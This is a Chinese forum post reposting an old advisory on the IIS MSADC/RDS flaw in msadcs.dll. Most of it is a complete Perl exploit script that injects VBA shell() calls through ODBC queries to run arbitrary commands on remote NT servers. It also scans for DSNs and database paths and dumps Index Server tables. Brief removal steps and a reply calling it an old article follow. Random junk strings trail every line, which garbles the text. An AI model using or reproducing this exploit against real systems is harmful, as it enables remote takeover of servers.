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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) cSG(kFQ  
dpt P(H  
涉及程序: j/E(*Hv  
Microsoft NT server J\'f5)k  
bS55/M w  
描述: ^U,C])n  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 a_b+RMy  
^r7KEeVD  
详细: .i` -t"  
如果你没有时间读详细内容的话,就删除: %P#| }  
c:\Program Files\Common Files\System\Msadc\msadcs.dll a8k`Wog  
有关的安全问题就没有了。 {cdrMP@""  
K!E\v4  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 q1r-xsjV=  
dI=&gz  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ,5 3`t  
关于利用ODBC远程漏洞的描述,请参看: j0 Os]a  
19oyoi"  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm d+ $:u  
3(.Y>er%U  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 k{ZQM  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp [W <j  
A4;~+L:M  
这里不再论述。 )2Y]A^Y   
@KZW*-"  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: w^3S6lK  
< mFU T  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset puEu)m^  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! n}4q2x"  
9~K+h/  
&/otoAr(  
#将下面这段保存为txt文件,然后: "perl -x 文件名" _ph1( !H$  
nU#K=e =W  
#!perl 4`RZ&w;1H2  
# -ntQqHs  
# MSADC/RDS 'usage' (aka exploit) script /~+Fzz  
# 0Q cJ Ek  
# by rain.forest.puppy nI+.De~  
# @|'9nPern  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me kKC] n   
# beta test and find errors!  Sb)}  
 5pHv5e  
use Socket; use Getopt::Std; V;~\+@  
getopts("e:vd:h:XR", \%args); Lo}/k}3Sx  
_Ii=3Qsf  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; lC d\nE8G  
a^O>i#i  
if (!defined $args{h} && !defined $args{R}) { ,eqRI>,\  
print qq~ X2Q35.AB  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 65mfq&"P ?  
-h <host> = host you want to scan (ip or domain) n \&H~0X  
-d <seconds> = delay between calls, default 1 second n2[h`zm1{B  
-X = dump Index Server path table, if available ,t'"3<^Jg  
-v = verbose }XCh>LvX  
-e = external dictionary file for step 5 '?X?'_3  
AB<bW3qf(  
Or a -R will resume a command session ,hT**(W  
3z"%ht~;  
~; exit;} ?1eu9;q\*  
PdRDUG{Jy  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; d9T:0A`M  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} s]D1s%Mx  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} P4E_<v[  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); V*@&<x"E  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} TA#pA(k  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } dLR[<@E  
kmu7~&75  
if (!defined $args{R}){ $ret = &has_msadc; =xb/zu(  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Jt?`(H  
W3R43>$  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" IZd~Am3f  
. "cmd /c "; ,wyEo>>4)  
$in=<STDIN>; chomp $in; rDc$#  
$command="cmd /c " . $in ; )"E1/$*k  
{D [z>I;D  
if (defined $args{R}) {&load; exit;} N Zwi3  
/6 y;fx  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; X7MA>j3m  
&try_btcustmr; ykGA.wo7/P  
ZiaFByLy  
print "\nStep 2: Trying to make our own DSN..."; i&)OJy  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; G12o?N0p  
v,iq,p)&  
print "\nStep 3: Trying known DSNs..."; @?t+O'&  
&known_dsn; K>-01AGHL  
0rAuK7  
print "\nStep 4: Trying known .mdbs..."; Jl$ X3wE  
&known_mdb; U1|{7.R  
?U2 'L2y  
if (defined $args{e}){ Ir5E*op7D  
print "\nStep 5: Trying dictionary of DSN names..."; jgfr_"@A  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } e&Z ?I2J  
A3.pz6iT>  
print "Sorry Charley...maybe next time?\n"; 1h{7dLA  
exit; 5/HkhT yj  
(/i|3P  
############################################################################## Rgz zbW  
e :@PI(P!  
sub sendraw { # ripped and modded from whisker YH{n   
sleep($delay); # it's a DoS on the server! At least on mine... ?rdWhF]  
my ($pstr)=@_; %+C6#cj  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || m;>:mwU  
die("Socket problems\n"); RiIafiaD  
if(connect(S,pack "SnA4x8",2,80,$target)){ >#Bu [nD%  
select(S); $|=1; zN\C  
print $pstr; my @in=<S>; KJt6d`ZN  
select(STDOUT); close(S); (:}}p}u  
return @in; X0LC:0+  
} else { die("Can't connect...\n"); }} Yv"B-oy  
NK%Ok  
############################################################################## FbW$H]C$  
;i ?R+T  
sub make_header { # make the HTTP request !H6X%hlk  
my $msadc=<<EOT bj?=\u  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 <J.q[fd1*  
User-Agent: ACTIVEDATA (Hs,Tj  
Host: $ip 'GLpSWL+*  
Content-Length: $clen QEF$Jx  
Connection: Keep-Alive (!9+QXb'  
`9|Uu#x  
ADCClientVersion:01.06 H9WXp&  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 e&NJj:Ph*  
GX*9R>  
--!ADM!ROX!YOUR!WORLD! r<Q0zKW!jN  
Content-Type: application/x-varg pK0@H"$8  
Content-Length: $reqlen S&c5Q*->[  
" #w%sG^_  
EOT +IlQZwm~  
; $msadc=~s/\n/\r\n/g; -<(RYMk*)  
return $msadc;} df&.!7_R`  
gy"<[N .?c  
############################################################################## ,!P}Y[|  
bb-u'"5^]  
sub make_req { # make the RDS request O! _d5r&,  
my ($switch, $p1, $p2)=@_; Z,8t!Y  
my $req=""; my $t1, $t2, $query, $dsn; *lQa^F  
CKC5S^Mx  
if ($switch==1){ # this is the btcustmr.mdb query A5sz[k  
$query="Select * from Customers where City=" . make_shell(); J58S8:c  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ^RYq !l$  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Nc?'},  
3L{)Y`P  
elsif ($switch==2){ # this is general make table query ENFM``dV#  
$query="create table AZZ (B int, C varchar(10))"; 2{B ScI5K  
$dsn="$p1";} iMQ0Sq-%1  
(N`GvB7;  
elsif ($switch==3){ # this is general exploit table query 4Ujy_E?^  
$query="select * from AZZ where C=" . make_shell(); ej \S c7.  
$dsn="$p1";} Epm8S}6K  
& +yo PF  
elsif ($switch==4){ # attempt to hork file info from index server ;ssI8\LG  
$query="select path from scope()"; A!R'/m'VG  
$dsn="Provider=MSIDXS;";} t~8H~%T>v  
vD(:?M  
elsif ($switch==5){ # bad query + 7wMM#z  
$query="select"; p+b$jKWQ  
$dsn="$p1";} Hk=HO|&<XB  
r4b-.>w  
$t1= make_unicode($query); S7~HBgS<  
$t2= make_unicode($dsn); }eveNPB{5  
$req = "\x02\x00\x03\x00"; >G As&\4hs  
$req.= "\x08\x00" . pack ("S1", length($t1)); 9q\_UbF  
$req.= "\x00\x00" . $t1 ; CW]Th-xc  
$req.= "\x08\x00" . pack ("S1", length($t2)); @R(Op|9  
$req.= "\x00\x00" . $t2 ; A>_,tt  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Q&/WVRD  
return $req;} i4&V+h"  
]<C]&03))  
############################################################################## 1Afy$It/{  
K \.tR  
sub make_shell { # this makes the shell() statement FwD q@Oj  
return "'|shell(\"$command\")|'";} ~Bi%8G  
YWL7.Y>%5  
############################################################################## Z_[L5B]Gwd  
!-ZY_  
sub make_unicode { # quick little function to convert to unicode #er% q:  
my ($in)=@_; my $out; ^1_CS*  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } [\  &2&  
return $out;} lR]FQnZ  
@|e we. r  
############################################################################## kU.@HJ[@j  
=T1Xfib  
sub rdo_success { # checks for RDO return success (this is kludge) ,T;D33XV  
my (@in) = @_; my $base=content_start(@in); zMd><UQP{  
if($in[$base]=~/multipart\/mixed/){ %Hhk 6tR,  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Ty7)j]b"zl  
return 0;} ,qNbo 11  
</aQ  
############################################################################## "F4 3q8P  
?-8DS5  
sub make_dsn { # this makes a DSN for us h.NCG96S  
my @drives=("c","d","e","f"); po.QM/b \  
print "\nMaking DSN: "; Hx!eCTO:*  
foreach $drive (@drives) { 7U2B=]<e-  
print "$drive: "; |I{3~+E h  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . s_e*jM1  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" '%o^#gJp  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); [8%q@6[  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ,Z}ST|$u  
return 0 if $2 eq "404"; # not found/doesn't exist RL fQT_V  
if($2 eq "200") { /vu]ch  
foreach $line (@results) { q+cD  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} X8A.ag0Uu  
} return 0;} c c/nzB  
[70 5[  
############################################################################## 1/K1e$r  
2<:dA >1  
sub verify_exists { !YZKa-  
my ($page)=@_; Z'Pe%}3  
my @results=sendraw("GET $page HTTP/1.0\n\n"); #rNc+  
return $results[0];} UT[{NltH  
(]PH2<3t  
############################################################################## ;' H\s  
[JV?Mdzu  
sub try_btcustmr { S\!vDtD@  
my @drives=("c","d","e","f"); ]q4(%Q  
my @dirs=("winnt","winnt35","winnt351","win","windows"); VE}r'MBk  
r3KNRr@  
foreach $dir (@dirs) { ai; Q,Vy  
print "$dir -> "; # fun status so you can see progress #&1gVkvp  
foreach $drive (@drives) { q03+FLEfC  
print "$drive: "; # ditto # s7e/GdKb  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; T8x8TN"  
$reqlenlen=length( "$reqlen" ); 1kR. .p<"  
$clen= 206 + $reqlenlen + $reqlen; IM5[O}aq  
g:GywX W  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ZSyXzop  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} |f!J-H)  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} &0fV;%N  
# z7yoP  
############################################################################## :{B']~Xf  
w0vsdM;G  
sub odbc_error { uZ'Z-!=CL  
my (@in)=@_; my $base; 5(E&jKn&  
my $base = content_start(@in); 4jZB%tH  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 4^ U%` 1  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; c]bG5  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $Sa7N%D  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 4=;j.=>0X  
return $in[$base+4].$in[$base+5].$in[$base+6];} (U 4n} J  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; "S*@._   
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . xtKU;+#  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ?/-WH?1I  
]cVDXLj$  
############################################################################## \u))1zRd  
2)T;N`tNw  
sub verbose { b?qV~Dg k`  
my ($in)=@_; ] @#wR  
return if !$verbose; o>bi~(H  
print STDOUT "\n$in\n";} q/d?c Lgl  
yPs6_Qo!p  
############################################################################## >Gk<a  
po,U e>n/  
sub save { %[M0TE=J  
my ($p1, $p2, $p3, $p4)=@_; Gv}Q/v   
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; {9.UeVz  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 3IB9-wG  
close OUT;} *X ;ch55\  
u0G tzk  
############################################################################## x'..j5  
/e*fsQ>M:  
sub load { #y[omla8  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; c h((u(G  
open(IN,"<rds.save") || die("Couldn't open rds.save\n");  7Z<GlNv  
@p=<IN>; close(IN); (n7{?`Yid  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); #g0N/  
$target= inet_aton($ip) || die("inet_aton problems");  Fq5u%S  
print "Resuming to $ip ..."; ! Vlx  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ('$*QC.M  
if($p[1]==1) { _ qwf3Q@  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; !H{>c@i  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; DT)] [V^w  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); PAtv#)h  
if (rdo_success(@results)){print "Success!\n";} YRr,{[e  
else { print "failed\n"; verbose(odbc_error(@results));}} gA}<Y  
elsif ($p[1]==3){ ZbjUOlE02  
if(run_query("$p[3]")){ 3EY m@oZj  
print "Success!\n";} else { print "failed\n"; }} !!)$?R;1  
elsif ($p[1]==4){ ,4 _H{+M  
if(run_query($drvst . "$p[3]")){ m<kJH<!j  
print "Success!\n"; } else { print "failed\n"; }} V2M4g  
exit;} 1 A0BM  
~J> ;l s1  
############################################################################## BHYguS^qz  
.XiO92d9  
sub create_table { vyB{35p$  
my ($in)=@_; (v|<" tv  
$reqlen=length( make_req(2,$in,"") ) - 28; \_6  
$reqlenlen=length( "$reqlen" ); 75R#gQ]EV  
$clen= 206 + $reqlenlen + $reqlen; !MOsP<2  
my @results=sendraw(make_header() . make_req(2,$in,"")); zUZET'Bm9  
return 1 if rdo_success(@results); 5>daWmD  
my $temp= odbc_error(@results); verbose($temp); T!>hPg  
return 1 if $temp=~/Table 'AZZ' already exists/; )b>misb/  
return 0;} F4WX$;1  
m)"(S  
############################################################################## @G=7A;-pv0  
kR^h@@'F"  
sub known_dsn { )T^w c:  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go [rK`BnJX  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ^blw\;LB  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", q5-i=lw  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ls!A'@J  
W6i9mER-  
foreach $dSn (@dsns) { W*CRxGyZCl  
print "."; Kg"eS`-  
next if (!is_access("DSN=$dSn")); c$L1aZo  
if(create_table("DSN=$dSn")){ gO "G/  
print "$dSn successful\n"; z=g!mVK5  
if(run_query("DSN=$dSn")){ #\n* Qg4p  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { >A6W^J|[  
print "Something's borked. Use verbose next time\n";}}} print "\n";} lNyyL Lt  
]?wz.  
############################################################################## hfyU}`]  
!K}W.yv,  
sub is_access { `BG>%#  
my ($in)=@_; ~ss6yQ$  
$reqlen=length( make_req(5,$in,"") ) - 28; qGEp 6b H  
$reqlenlen=length( "$reqlen" ); ]&q<O0^'  
$clen= 206 + $reqlenlen + $reqlen; \4G9YK-N>  
my @results=sendraw(make_header() . make_req(5,$in,"")); (l-= /6-  
my $temp= odbc_error(@results); Zl3e=sg=  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ~yw]<{?  
return 0;} xP&7i'ag  
0H^*VUyW/  
############################################################################## Fb8d= Zc  
hhZ%{lqL  
sub run_query { <bSPKTKL  
my ($in)=@_; J` GL_@$q  
$reqlen=length( make_req(3,$in,"") ) - 28; $,U/,XA {E  
$reqlenlen=length( "$reqlen" ); ,*d8T7T  
$clen= 206 + $reqlenlen + $reqlen; SlR//h  
my @results=sendraw(make_header() . make_req(3,$in,"")); ZAN~TG<n  
return 1 if rdo_success(@results); >(.|oT\Tb  
my $temp= odbc_error(@results); verbose($temp); =#y;J(>~|  
return 0;} PQSmBTs.  
KA?%1s(kJ  
############################################################################## sCrP+K0D  
,zHL8SiTX  
sub known_mdb { tcv(<0  
my @drives=("c","d","e","f","g"); V,d\Wkk/  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ~h Dp-R;  
my $dir, $drive, $mdb; <4vCx  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 1 Ga3[ g  
R5^6Kwu  
# this is sparse, because I don't know of many E&y)`>Nq{  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Xy=ETV%  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ([>__c/Nd  
"\\system32\\certmdb.mdb", J9*;Bqzim  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 7_l Wr  
uyB2   
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", TaHcvjhR  
"\\cfusion\\cfapps\\forums\\forums_.mdb", LDHu10l  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", \ f+;X  
"\\cfusion\\cfapps\\security\\realm_.mdb", 'r%(,=L  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 7I"~a<f0X`  
"\\cfusion\\database\\cfexamples.mdb", 5o>`7(t`  
"\\cfusion\\database\\cfsnippets.mdb", rM A%By^L-  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", C`kqsK   
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ~//E'V-  
"\\cfusion\\brighttiger\\database\\cleam.mdb", wLqj<ot  
"\\cfusion\\database\\smpolicy.mdb", Qr3!6  
"\\cfusion\\database\cypress.mdb", 9cP{u$  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Q*ELMib  
"\\website\\cgi-win\\dbsample.mdb", w->Y92q]  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", , ftJw  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" s=jYQ5nv  
); #these are just $9Bzq_!  
foreach $drive (@drives) { i({\fb|0  
foreach $dir (@dirs){ !'F1Ht  
foreach $mdb (@sysmdbs) { YF-E1`+?<  
print "."; sfn^R+x4,9  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 0q-lyVZ^X  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ui#nN   
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ .Hqq!&  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; IBJNs$  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 2xO[ ?fR  
DH+kp$,}  
foreach $drive (@drives) { zs I?X>4  
foreach $mdb (@mdbs) { #.HnO_sK_  
print "."; l~]] RgU  
if(create_table($drv . $drive . $dir . $mdb)){ *(q?O_3,b  
print "\n" . $drive . $dir . $mdb . " successful\n"; AmDOv4  
if(run_query($drv . $drive . $dir . $mdb)){ 1Xm>nF~  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 0'pB7^y  
} else { print "Something's borked. Use verbose next time\n"; }}}} ]7W!f 2@  
} >(igVaZ>  
S 4 17.n  
############################################################################## U~7udUR  
L@AFt)U  
sub hork_idx { #vyf*jPr  
print "\nAttempting to dump Index Server tables...\n"; cw 2!V@  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 54>0Dv??H  
$reqlen=length( make_req(4,"","") ) - 28; c]#}#RJ`\  
$reqlenlen=length( "$reqlen" ); *.>@  
$clen= 206 + $reqlenlen + $reqlen; <zn)f@W  
my @results=sendraw2(make_header() . make_req(4,"","")); !P EKMDh  
if (rdo_success(@results)){ FauASu,A  
my $max=@results; my $c; my %d; s a o&  
for($c=19; $c<$max; $c++){ :AztHf?X  
$results[$c]=~s/\x00//g; ~<VxtcEBz  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; i]k)wr(  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; /}U)|6- B  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; eQ/w Mr  
$d{"$1$2"}="";} #n|5ng|CJ  
foreach $c (keys %d){ print "$c\n"; } =oL:|$Pj  
} else {print "Index server doesn't seem to be installed.\n"; }} PL$XXj>|:  
8HBwcXYoHh  
############################################################################## I P#vfM  
TA*}p=?6?!  
sub dsn_dict { ]YhQQH1> ]  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); >_yL@^  
while(<IN>){ {u1|`=;  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ,(x` zpp _  
next if (!is_access("DSN=$dSn")); :K2 X~Ty  
if(create_table("DSN=$dSn")){ $#D#ezvxe  
print "$dSn successful\n"; K a(B&.  
if(run_query("DSN=$dSn")){ '{ =F/q  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { P`Ku. ONQ  
print "Something's borked. Use verbose next time\n";}}} Fh)xm* u(  
print "\n"; close(IN);} jH<Sf: Y(  
SEzjc ~@3  
############################################################################## ,ESli/6  
f]%S FQ+  
sub sendraw2 { # ripped and modded from whisker h?n?3x!(  
sleep($delay); # it's a DoS on the server! At least on mine... _%2ukuJ `  
my ($pstr)=@_; Fik ;hB  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || A)n_ST0  
die("Socket problems\n"); "]]LQb$  
if(connect(S,pack "SnA4x8",2,80,$target)){ w@,p`  
print "Connected. Getting data"; ?B ,<gen  
open(OUT,">raw.out"); my @in; #!O)-dyF  
select(S); $|=1; print $pstr; Jaw1bUP!oK  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} !|4]V}JQ  
close(OUT); select(STDOUT); close(S); return @in; :~"m yn,  
} else { die("Can't connect...\n"); }} d"-I^|[OM  
Ff/Ap&0+  
############################################################################## mTX:?>  
V||b%Cb1g  
sub content_start { # this will take in the server headers (VM CVZ  
my (@in)=@_; my $c; Q<V1`e  
for ($c=1;$c<500;$c++) { XTF[4#WO  
if($in[$c] =~/^\x0d\x0a/){ RA<ky*^dr  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } WIi,`/K+  
else { return $c+1; }}} VZcW 3/Y  
return -1;} # it should never get here actually >fP;H}S6  
+?"F=.SZ  
############################################################################## KQ]sUNH  
Ir>4-@  
sub funky { M 1 m]1<  
my (@in)=@_; my $error=odbc_error(@in); Xv!Gg6v6  
if($error=~/ADO could not find the specified provider/){ fWEQ vQ  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; M("sekL  
exit;} w>X@ ,  
if($error=~/A Handler is required/){ i,;eW&  
print "\nServer has custom handler filters (they most likely are patched)\n"; z-gMk@l  
exit;} d6tv4Cf  
if($error=~/specified Handler has denied Access/){ sNpA!!\PM  
print "\nServer has custom handler filters (they most likely are patched)\n"; 6}R*7iM s  
exit;}} Qm3F=*)d  
d]sqj\Q57  
############################################################################## -n|>U:  
c$ib-  
sub has_msadc { V^Z5i]zT  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); rM= :{   
my $base=content_start(@results); r?[[.zm"7  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); e'$[PF  
return 0;} qQ)1+^  
-|}?+W  
######################## 9rz$c, Y(  
'q:7PkN!p  
LRu*%3xx  
解决方案: yKj}l,i~8  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll +zche  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 O6?{@l  
<FBH;}]  
拿出来充数 哈哈
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